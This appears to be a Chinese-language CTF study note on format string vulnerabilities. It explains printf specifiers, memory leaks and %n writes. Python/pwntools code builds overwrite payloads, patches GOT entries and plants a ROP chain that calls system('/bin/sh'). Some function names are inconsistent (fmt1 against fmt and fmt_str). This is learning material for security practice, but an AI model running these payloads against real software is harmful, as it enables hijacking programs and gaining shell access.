格式化字符串
基本格式
%[parameter][flags][field width][.precision][length]type
- 使用以
%
开头的格式说明符占位,在后面参数列表中提供相应变量 c
,把 int 参数转为 unsigned char 型输出p
, void * 型,printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址n
,不输出字符,将该字符之前的字符数量写入参数中
泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用
GOT
表得到libc
函数地址,进而获取libc
,进而获取其它libc
函数地址 - 盲打,
dump
整个程序,获取有用信息。
- 利用
覆盖内存
payload:‘%’ + str(target_addr) + 'c%offset$n'
hhn
:1字节(2位hn
:2字节(4位n
:4字节(8位
栈上的格式化字符串
确定偏移offset
在printf
下断点,利用fmtarg
工具获取偏移
修改内存函数基本构造
def fmt1(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt2(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
32位时自带函数:fmtstr_payload(偏移,{被改的got:要改的plt})
攻击思路
- 泄露libc等所需地址
- 将需要修改的地址写入栈
- 获取写入
非栈上格式化字符串漏洞
技巧:1.改ret
地址中的libc_start_main
为ogg
2.改printf_got
为system/ogg
3.泄露stack
地址的时候如果ebp
地址不对就用和ebp
连接的地址一样的地址
sys1 = system & 0xff #取低字节
sys2 = (system>>8) & 0xffff #取第二三字节
gift_addr = gift & 0xffff #取低二字节
p4 = '%' + str(sys1) + 'c%8$hhn' + '%' + str((gift_addr) - (sys1)) + 'c%9$hn' + '%' + str(sys2-gift_addr) + 'c%10$hn'
r.sendlineafter('gift for you: \n',p4)
若需分两次改则需要两条链,当第二次发送的数据小于第一次发送的数据时,要加0x10000
#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述(1)与(2)两个栈地址在格式化字符串中的偏移
def overlap(dest,ptr,off1,off2):
d=dest&0xff
for i in range(8):
if not ptr:
break
payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn'
p.sendlineafter('food: ',payload)
f=ptr&0xff
payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn'
p.sendlineafter('food: ',payload)
d+=1
ptr>>=8
ret=rsp+0x18
ptr=libc.address+0x21112
print(hex(libc.sym.system))
#通过将第25个参数传入格式化字符串,将第39个参数的值改为返回地址
payload=b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'
p.sendlineafter('food: ',payload)
#覆盖返回地址为ptr(pop_rdi; ret)
overlap(ret,ptr,25,39)
#覆盖返回地址+8的位置为binsh字符串地址
overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)
#覆盖返回地址+16的位置为system函数的地址
overlap(ret+16,libc.sym.system,25,39)
#至此,退出循环执行ROP后即可获取系统操作权限
p.sendlineafter('food: ',payload)
泄露
libc
:__libc_start_main
修改:
payload = (b'%' + bytes(str(one1), encoding='utf-8') + b'c%8$hn').ljust(16, b'a') + p64(exit_addr)
,分多次修改每次sleep(0.5)
num = 12345 num_bytes = num.to_bytes(2, byteorder='little') #转换为字节序列